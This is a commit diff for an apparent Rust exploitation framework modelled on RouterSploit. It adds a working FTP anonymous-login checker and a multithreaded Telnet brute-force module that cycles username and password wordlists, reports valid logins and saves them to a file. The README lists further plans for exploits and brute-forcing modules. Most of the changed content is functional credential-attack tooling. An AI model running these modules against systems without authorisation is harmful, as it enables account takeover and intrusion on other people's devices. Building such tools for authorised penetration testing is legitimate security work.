Compare commits

...

10 Commits

Author SHA1 Message Date
S.B f876d91986 Update Cargo.toml 2025-04-10 19:05:29 +02:00
S.B 49ada2bb21 Update README.md 2025-04-10 19:02:07 +02:00
S.B 3f87adeb60 Update mod.rs 2025-04-10 19:00:23 +02:00
S.B e216e416ca Update creds.rs 2025-04-10 19:00:00 +02:00
S.B a910b75637 Add files via upload 2025-04-10 18:58:36 +02:00
S.B d9547dbe2e Create ftp_anonymous.rs 2025-04-10 18:20:21 +02:00
S.B 54b1606028 Update creds.rs 2025-04-10 18:18:26 +02:00
S.B 2228c8a19b Update mod.rs 2025-04-10 18:16:26 +02:00
S.B 0d589e9bb6 Update README.md 2025-04-10 06:55:53 +02:00
S.B 1ad4786466 Update README.md 2025-04-10 06:52:29 +02:00
6 changed files with 314 additions and 1 deletions
+4
View File
@@ -24,3 +24,7 @@ async_ftp = "6.0.0"
tokio-socks = "0.5.2"
#telnet
threadpool = "1.8.1"
crossbeam-channel = "0.5.15"
telnet = "0.2.3"
+12
View File
@@ -11,10 +11,22 @@ A Rust-based modular exploitation framework inspired by RouterSploit. This tool
### Goals & To Do lists
docs
convert exploits and add modules
add wordlists and brute forcing modules
# completed
telnet_bruteforce
ftp anonymous login module
ftp brute forcing module
dynamic modules listing and colored listing
## 🚀 Building & Running
+15 -1
View File
@@ -1,13 +1,27 @@
use anyhow::Result;
use crate::modules::creds;
use crate::modules::creds::telnet_bruteforce;
pub async fn run_cred_check(module_name: &str, target: &str) -> Result<()> {
match module_name {
"sample_cred_check" => {
creds::sample_cred_check::run(target).await?;
},
"ftp_bruteforce" => {
creds::ftp_bruteforce::run(target).await?;
},
"ftp_anonymous" => {
creds::ftp_anonymous::run(target).await?;
},
"telnet_bruteforce" => {
telnet_bruteforce::run_module(target).await?;
},
// Add more creds modules here ...
_ => eprintln!("Creds module '{}' not found.", module_name),
_ => {
eprintln!("Creds module '{}' not found.", module_name);
},
}
Ok(())
}
+64
View File
@@ -0,0 +1,64 @@
use anyhow::{Context, Result};
use std::net::TcpStream;
use std::io::{BufRead, BufReader, Write};
use std::time::Duration;
/// Checks if anonymous FTP login is allowed on a target.
///
/// Example usage from shell:
/// ```
/// rsf> use creds/ftp_anonymous
/// rsf> set target 192.168.1.1
/// rsf> run
/// ```
pub async fn run(target: &str) -> Result<()> {
let port = 21;
let address = format!("{}:{}", target, port);
println!("[*] Connecting to FTP service on {}...", address);
// Connect with a short timeout
let stream = TcpStream::connect_timeout(
&address.parse().context("Invalid address")?,
Duration::from_secs(5),
)
.context("Connection failed")?;
// Clone reader/writer
let mut reader = BufReader::new(stream.try_clone()?);
let mut writer = stream;
// Read initial banner
let mut banner = String::new();
reader.read_line(&mut banner)?;
print!("[<] {}", banner);
// Send USER anonymous
writer.write_all(b"USER anonymous\r\n")?;
writer.flush()?;
let mut response = String::new();
reader.read_line(&mut response)?;
print!("[<] {}", response);
if !response.starts_with("3") && !response.contains("password") {
println!("[-] Server does not accept 'anonymous' user.");
return Ok(());
}
// Send PASS anything (or empty)
writer.write_all(b"PASS anonymous\r\n")?;
writer.flush()?;
response.clear();
reader.read_line(&mut response)?;
print!("[<] {}", response);
if response.starts_with("2") {
println!("[+] Anonymous login successful!");
} else {
println!("[-] Anonymous login failed.");
}
Ok(())
}
+2
View File
@@ -1,2 +1,4 @@
pub mod sample_cred_check;
pub mod ftp_bruteforce;
pub mod ftp_anonymous;
pub mod telnet_bruteforce;
+217
View File
@@ -0,0 +1,217 @@
use anyhow::{Result, Context};
use std::fs::{File, OpenOptions};
use std::io::{self, BufRead, BufReader, Write};
use std::net::ToSocketAddrs;
use std::sync::{Arc, Mutex};
use telnet::Event;
use threadpool::ThreadPool;
use crossbeam_channel::{unbounded};
use telnet::Telnet;
pub async fn run_module(target: &str) -> Result<()> {
println!("\n=== Telnet Bruteforce Module (RustSploit) ===\n");
let target = target.to_string();
let port = prompt("Port (default 23): ").parse().unwrap_or(23);
let username_wordlist = prompt("Username wordlist file: ");
let password_wordlist = prompt("Password wordlist file: ");
let threads = prompt("Number of threads (default 8): ").parse().unwrap_or(8);
let stop_on_success = prompt("Stop on first valid login? (y/n): ").trim().eq_ignore_ascii_case("y");
let full_combo = prompt("Try every username with every password? (y/n): ").trim().eq_ignore_ascii_case("y");
let verbose = prompt("Verbose mode? (y/n): ").trim().eq_ignore_ascii_case("y");
let config = TelnetBruteforceConfig {
target,
port,
username_wordlist,
password_wordlist,
threads,
stop_on_success,
verbose,
full_combo,
};
run_telnet_bruteforce(config)
}
#[derive(Clone)]
struct TelnetBruteforceConfig {
target: String,
port: u16,
username_wordlist: String,
password_wordlist: String,
threads: usize,
stop_on_success: bool,
verbose: bool,
full_combo: bool,
}
fn run_telnet_bruteforce(config: TelnetBruteforceConfig) -> Result<()> {
let addr = format!("{}:{}", config.target, config.port);
let socket_addr = addr
.to_socket_addrs()
.context("Invalid target address")?
.next()
.context("Unable to resolve target address")?;
println!("\n[*] Starting Telnet bruteforce on {}", socket_addr);
let usernames = read_lines(&config.username_wordlist)?;
let passwords = read_lines(&config.password_wordlist)?;
let creds = Arc::new(Mutex::new(Vec::new()));
let stop_flag = Arc::new(Mutex::new(false));
let pool = ThreadPool::new(config.threads);
let (tx, rx) = unbounded();
if config.full_combo {
for user in &usernames {
for pass in &passwords {
tx.send((user.clone(), pass.clone()))?;
}
}
} else {
if usernames.len() == 1 {
for pass in &passwords {
tx.send((usernames[0].clone(), pass.clone()))?;
}
} else if passwords.len() == 1 {
for user in &usernames {
tx.send((user.clone(), passwords[0].clone()))?;
}
} else {
println!("[!] Warning: Multiple usernames and passwords loaded, but full_combo is OFF. Trying first username with all passwords.");
for pass in &passwords {
tx.send((usernames[0].clone(), pass.clone()))?;
}
}
}
drop(tx);
for _ in 0..config.threads {
let rx = rx.clone();
let addr = addr.clone();
let stop_flag = Arc::clone(&stop_flag);
let creds = Arc::clone(&creds);
let config = config.clone();
pool.execute(move || {
while let Ok((username, password)) = rx.recv() {
if *stop_flag.lock().unwrap() {
break;
}
if config.verbose {
println!("[*] Trying {}:{}", username, password);
}
match try_telnet_login(&addr, &username, &password) {
Ok(true) => {
println!("[+] Valid credentials: {}:{}", username, password);
creds.lock().unwrap().push((username, password));
if config.stop_on_success {
*stop_flag.lock().unwrap() = true;
break;
}
}
Ok(false) => {}
Err(e) => {
if config.verbose {
eprintln!("[!] Error: {}", e);
}
}
}
}
});
}
pool.join();
let creds = creds.lock().unwrap();
if creds.is_empty() {
println!("[-] No valid credentials found.");
} else {
println!("\n[+] Found credentials:");
for (u, p) in creds.iter() {
println!(" - {}:{}", u, p);
}
let save = prompt("\n[?] Save credentials to file? (y/n): ");
if save.trim().eq_ignore_ascii_case("y") {
let filename = prompt("Enter filename to save: ");
if let Err(e) = save_results(&filename, &creds) {
eprintln!("[!] Failed to save results: {}", e);
} else {
println!("[+] Results saved to '{}'", filename);
}
}
}
Ok(())
}
fn try_telnet_login(addr: &str, username: &str, password: &str) -> Result<bool> {
let mut connection = Telnet::connect((addr, 23), 256)
.context("Failed to connect to Telnet server")?;
let mut login_prompt_seen = false;
let mut pass_prompt_seen = false;
for _ in 0..10 {
let event = connection.read().context("Failed to read from Telnet")?;
match event {
Event::Data(buffer) => {
let output = String::from_utf8_lossy(&buffer).to_lowercase();
if !login_prompt_seen && (output.contains("login:") || output.contains("username")) {
connection.write(format!("{}\n", username).as_bytes())?;
login_prompt_seen = true;
} else if login_prompt_seen && !pass_prompt_seen && output.contains("password") {
connection.write(format!("{}\n", password).as_bytes())?;
pass_prompt_seen = true;
} else if pass_prompt_seen {
// Look for signs of successful or failed login
if output.contains("incorrect")
|| output.contains("failed")
|| output.contains("denied")
{
return Ok(false);
} else if output.contains("last login")
|| output.contains("$")
|| output.contains("welcome")
|| output.contains("#")
{
return Ok(true);
}
}
}
_ => {}
}
}
Ok(false)
}
fn read_lines(path: &str) -> Result<Vec<String>> {
let file = File::open(path).context(format!("Unable to open {}", path))?;
Ok(BufReader::new(file).lines().filter_map(Result::ok).collect())
}
fn save_results(path: &str, creds: &[(String, String)]) -> Result<()> {
let mut file = OpenOptions::new().create(true).write(true).truncate(true).open(path)?;
for (u, p) in creds {
writeln!(file, "{}:{}", u, p)?;
}
Ok(())
}
fn prompt(message: &str) -> String {
print!("{}", message);
io::stdout().flush().unwrap();
let mut input = String::new();
io::stdin().read_line(&mut input).unwrap();
input.trim().to_string()
}